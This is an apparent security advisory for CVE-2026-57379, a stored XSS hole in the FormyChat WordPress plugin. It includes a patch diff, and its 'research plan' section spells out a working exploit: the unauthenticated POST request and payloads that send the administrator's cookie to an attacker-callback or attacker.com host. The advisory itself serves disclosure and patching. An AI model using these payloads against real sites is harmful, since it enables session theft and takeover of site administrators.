CVE-2026-57379

Contact Form to Chat Apps | Click to Chat to Order – FormyChat <= 2.15.3 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.15.4
Patched in
8d
Time to patch

Description

The Contact Form to Chat Apps | Click to Chat to Order – FormyChat plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.15.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.15.3
PublishedJuly 7, 2026
Last updatedJuly 14, 2026
Affected pluginsocial-contact-form

What Changed in the Fix

Changes introduced in v2.15.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57379 ## 1. Vulnerability Summary The **FormyChat** plugin (<= 2.15.3) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The plugin registers a public REST API endpoint for form submissions that accepts arbitrary user input in the `field…

Show full research plan

Exploitation Research Plan - CVE-2026-57379

1. Vulnerability Summary

The FormyChat plugin (<= 2.15.3) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The plugin registers a public REST API endpoint for form submissions that accepts arbitrary user input in the field parameter. This data is stored in the database without sufficient sanitization and is later rendered in the WordPress administrative dashboard (Leads management) without proper output escaping.

An unauthenticated attacker can inject malicious JavaScript into the form fields, which will execute in the context of an administrator's browser when they view the submitted leads.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/formychat/v1/submit-form
  • Vulnerable Parameter: field (specifically the values within the field associative array).
  • Authentication: None required. The REST route is registered with 'permission_callback' => '__return_true'.
  • Preconditions:
    • The plugin must be active.
    • At least one Widget must exist (the plugin typically creates a default widget upon installation).
    • Spam protection (reCAPTCHA/Turnstile) must be disabled (default state).

3. Code Flow

  1. Entry Point: An unauthenticated POST request is sent to wp-json/formychat/v1/submit-form.
  2. Route Handling: FormyChat\Publics\REST::register_routes (in includes/public/class-rest.php) routes the request to handle_form_submission().
  3. Data Extraction: In handle_form_submission($request), the plugin extracts the field parameter directly from the request:
    $form_data = [
        'field' => $request->has_param('field') ? $request->get_param('field') : [],
        // ...
    ];
    
    $request->get_param('field') returns the raw array provided in the JSON or POST body.
  4. Spam Bypass: verify_formychat_spam_protection($request) is called. If formychat_turnstile_enabled and formychat_recaptcha_enabled options are false (default), it returns true, allowing the request to proceed.
  5. Sink (Storage): The unsanitized $form_data is passed to FormyChat\Models\Lead::create($form_data). This method stores the raw field data in the database.
  6. Sink (Output): When an administrator navigates to the "Leads" section of the FormyChat menu in the WordPress dashboard, the plugin retrieves these records and renders the field values. Based on the logic seen in formychat_lead_created() (lines 177-184), the values are likely concatenated into HTML strings using wp_sprintf without esc_html() or wp_kses().

4. Nonce Acquisition Strategy

This specific exploit targets a WordPress REST API endpoint with permission_callback set to __return_true.

  • Requirement: In WordPress, REST API endpoints with __return_true generally do not require a nonce for unauthenticated POST requests.
  • Bypass Analysis: The handle_form_submission function does not call check_ajax_referer or wp_verify_nonce.
  • Strategy: No nonce is required. The request can be sent directly to the REST API.

5. Exploitation Strategy

The goal is to inject a Stored XSS payload that triggers when an admin views the leads.

Step 1: Discover Widget ID

The submission requires a widget_id. Usually, the first widget is 1.

  • Verification: Use browser_navigate to the homepage and check for formychat-settings or similar localized JS objects, or simply attempt the exploit with widget_id=1.

Step 2: Submit Malicious Lead

Send a POST request to the REST API containing the XSS payload.

  • Tool: http_request
  • Method: POST
  • URL: https://<target>/wp-json/formychat/v1/submit-form
  • Headers: Content-Type: application/json
  • Body:
    {
      "field": {
        "Name": "Victim",
        "Message": "<img src=x onerror='fetch(\"/wp-json/wp/v2/users/me\").then(r=>r.json()).then(d=>fetch(\"https://<attacker-callback>/?user=\"+d.slug+\"&cookie=\"+document.cookie))'>"
      },
      "widget_id": 1,
      "form": "formychat"
    }
    

Step 3: Trigger Execution

The payload will execute when the admin navigates to:
/wp-admin/admin.php?page=formychat-leads (inferred slug based on plugin name).

6. Test Data Setup

  1. Install and activate the FormyChat plugin version 2.15.3.
  2. Ensure a widget is created:
    • wp eval "FormyChat\Models\Widget::create(['title' => 'Test Widget']);" (If testing via CLI).
  3. Ensure reCAPTCHA/Turnstile is not configured (default).

7. Expected Results

  • The REST API should respond with {"success": true, "data": {"lead_id": <ID>}}.
  • The database table for leads (likely wp_formychat_leads or stored in wp_options/wp_posts depending on the Model implementation) will contain the raw <img src=x onerror=...> string.
  • When an admin views the Leads page, the browser will attempt to load the image with source x, fail, and execute the onerror JavaScript.

8. Verification Steps

After performing the http_request, verify the lead exists in the database:

# Check if a new lead was created with the payload
wp db query "SELECT * FROM $(wp db prefix)formychat_leads ORDER BY id DESC LIMIT 1;"

(Note: If the table name differs, use wp db tables | grep formychat to find the correct table).

9. Alternative Approaches

  • Direct POST: If application/json is blocked by a WAF, use application/x-www-form-urlencoded:
    field[Name]=Test&field[Message]=<script>alert(1)</script>&widget_id=1&form=formychat
  • Payload Variation: If fetch is blocked by Content Security Policy (CSP), use a simple redirect or an iframe injection:
    <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
  • Metadata Injection: The meta parameter in handle_form_submission is also handled without sanitization and may provide an alternative injection vector if the field values are escaped but meta values are not.
Research Findings
Static analysis — not yet PoC-verified

Summary

The FormyChat plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting due to the lack of input sanitization in its public REST API endpoint for form submissions. Attackers can inject malicious scripts into form fields that are stored in the database and subsequently executed in the context of an administrator's browser when they view the 'Leads' management page.

Vulnerable Code

// includes/public/class-rest.php:79
public function handle_form_submission( $request ) {
	$form_data = [
		'field' => $request->has_param('field') ? $request->get_param('field') : [],
		'meta' => $request->has_param('meta') ? $request->get_param('meta') : [],
		'widget_id' => $request->has_param('widget_id') ? $request->get_param('widget_id') : 0,
		'form_id' => $request->has_param('form_id') ? $request->get_param('form_id') : 0,
		'form' => $request->has_param('form') ? $request->get_param('form') : 'formychat',
	];

---

// includes/public/class-rest.php:103
	$lead_id = Lead::create($form_data);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/social-contact-form/2.15.3/includes/public/class-rest.php /home/deploy/wp-safety.org/data/plugin-versions/social-contact-form/2.15.4/includes/public/class-rest.php
--- /home/deploy/wp-safety.org/data/plugin-versions/social-contact-form/2.15.3/includes/public/class-rest.php	2026-04-20 08:17:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/social-contact-form/2.15.4/includes/public/class-rest.php	2026-05-24 10:52:32.000000000 +0000
@@ -77,12 +77,15 @@
 		 * @return void
 		 */
 		public function handle_form_submission( $request ) {
+			$raw_field = $request->has_param('field') ? $request->get_param('field') : [];
+			$raw_meta  = $request->has_param('meta') ? $request->get_param('meta') : [];
+
 			$form_data = [
-				'field' => $request->has_param('field') ? $request->get_param('field') : [],
-				'meta' => $request->has_param('meta') ? $request->get_param('meta') : [],
-				'widget_id' => $request->has_param('widget_id') ? $request->get_param('widget_id') : 0,
-				'form_id' => $request->has_param('form_id') ? $request->get_param('form_id') : 0,
-				'form' => $request->has_param('form') ? $request->get_param('form') : 'formychat',
+				'field'     => $this->sanitize_lead_payload( $raw_field ),
+				'meta'      => $this->sanitize_lead_payload( $raw_meta ),
+				'widget_id' => $request->has_param('widget_id') ? absint( $request->get_param('widget_id') ) : 0,
+				'form_id'   => $request->has_param('form_id') ? absint( $request->get_param('form_id') ) : 0,
+				'form'      => $request->has_param('form') ? sanitize_key( $request->get_param('form') ) : 'formychat',
 			];
 
 			// Verify spam protection (reCAPTCHA / Turnstile) for built-in FormyChat form submissions.
@@ -101,6 +104,14 @@
 
 			$form_data = apply_filters('formychat_lead_data', $form_data, $request);
 
+			// Re-sanitize after the filter, in case third-party code re-injected unsafe data.
+			if ( isset( $form_data['field'] ) ) {
+				$form_data['field'] = $this->sanitize_lead_payload( $form_data['field'] );
+			}
+			if ( isset( $form_data['meta'] ) ) {
+				$form_data['meta'] = $this->sanitize_lead_payload( $form_data['meta'] );
+			}
+
 			$lead_id = Lead::create($form_data);
 
 			do_action('formychat_lead_created', $form_data, $lead_id, $request);
@@ -114,6 +125,40 @@
 		}
 
 		/**
+		 * Recursively sanitize an untrusted lead payload (field / meta).
+		 *
+		 * Strips all HTML and JS. The lead admin page renders values via Vue
+		 * `v-html`, so any HTML stored here would execute in the admin origin.
+		 *
+		 * @param  mixed $value
+		 * @return mixed
+		 */
+		private function sanitize_lead_payload( $value ) {
+			if ( is_array( $value ) ) {
+				$clean = [];
+				foreach ( $value as $k => $v ) {
+					$safe_key           = is_string( $k ) ? sanitize_text_field( $k ) : $k;
+					$clean[ $safe_key ] = $this->sanitize_lead_payload( $v );
+				}
+				return $clean;
+			}
+
+			if ( is_object( $value ) ) {
+				// Reject objects entirely — lead payloads are scalar/array only.
+				return '';
+			}
+
+			if ( is_bool( $value ) || is_int( $value ) || is_float( $value ) ) {
+				return $value;
+			}
+
+			// Strings: strip all tags and control chars. Preserve newlines for the
+			// message field so the admin UI can still display multi-line content.
+			$value = (string) $value;
+			return sanitize_textarea_field( $value );
+		}
+
+		/**
 		 * Verify spam protection token (Turnstile or reCAPTCHA) for FormyChat form submissions.
 		 * Returns true on success (or when no protection is configured), an error message string otherwise.
 		 *

Exploit Outline

1. Identify a target WordPress site running FormyChat <= 2.15.3. 2. Construct a POST request to the unauthenticated REST API endpoint: `/wp-json/formychat/v1/submit-form`. 3. Provide a JSON body containing a 'field' array where one of the values is a malicious JavaScript payload (e.g., `<script>alert(1)</script>` or an `<img>` tag with an `onerror` handler). 4. Include standard required fields such as `widget_id: 1` and `form: "formychat"`. 5. Send the request; the server will respond with success and store the unsanitized payload in the database. 6. The XSS triggers automatically when a site administrator logs in and views the 'Leads' section of the FormyChat plugin dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.